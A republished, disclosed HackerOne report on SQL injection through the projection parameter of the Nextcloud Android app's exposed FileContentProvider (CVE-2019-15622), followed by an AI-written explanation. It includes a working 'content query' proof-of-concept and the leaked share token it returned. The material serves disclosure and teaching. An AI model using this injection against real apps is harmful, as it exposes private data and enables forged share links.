Skip to content
SQL injection Disclosed report Intermediate CVE-2019-15622

SQLi allow query restriction bypass on exposed FileContentProvider

The Android FileContentProvider only restricts the projection map for the ROOT_DIRECTORY URI, allowing an attacker to bypass restrictions on other URIs and inject SQL to read any table in filelist.db. This exposes sensitive data such as share tokens and owner information, which can be used to forge share links.

doragon Follow

Originally disclosed on HackerOne

Bounty$100 Low 0.9 View original
  • Triaged in 3 days
  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 4 months

FileContentProvider is an exposed provider

As per its definition on https://github.com/nextcloud/android/blob/master/src/main/java/com/owncloud/android/providers/FileContentProvider.java, limited set of data shall be exposed as per

 @l444
        switch (mUriMatcher.match(uri)) {
            case ROOT_DIRECTORY:
            case SINGLE_FILE:
            case DIRECTORY:
                break;

            default:
                if (isCallerNotAllowed(uri)) {
                    return null;
                }
}

However, the projection map restriction is only applied to ROOT_DIRECTORY @l577

 if (mUriMatcher.match(uri) == ROOT_DIRECTORY && projectionArray != null) {

because of this, it is possible to bypass the restrictions at @l444 by crafting for instance the intent

 content query --uri content://org.nextcloud/file --projection "* from ocshares --"                                              

which results in

Row: 0 _id=1, file_source=71580, item_source=71580, share_type=3, shate_with=, path=/Nextcloud.mp4, permissions=1, shared_date=1544792454, expiration_date=0, token=rkNCkcYcbGEBDQN, shared_with_display_name=, is_directory=0, user_id=-1, id_remote_shared=9, [email protected], is_password_protected=0, note=, hide_download=0

as per disclosed data on owner_share and token, one can easily forge the query https://cloud.local.yourosoft.com/index.php/s/rkNCkcYcbGEBDQN

any table defined in filelist.db is subject to full disclosure

Impact

any table defined in filelist.db is subject to full disclosure

The original report as published on HackerOne, by doragon. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The projection restriction is only enforced when the URI matches ROOT_DIRECTORY, so other URIs skip the column filtering and allow SQL injection through the projection parameter.

Impact

Any table in filelist.db can be fully disclosed, and exposed share tokens allow forging share links.

What the attacker needed

Attacker can run a content query on the device

How it was found

  1. Craft an intent to query the content provider with a malicious projection.
  2. Use the content query command with the crafted URI and projection.
  3. Observe the returned data including share tokens and owner information.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An Android app can share data with other apps through a 'content provider'. This app tried to limit which columns other apps could read, but the check only applied to one specific address. By using a different address and a crafted query, an attacker could read any database table, including secret share links.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by doragon

View all

3 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.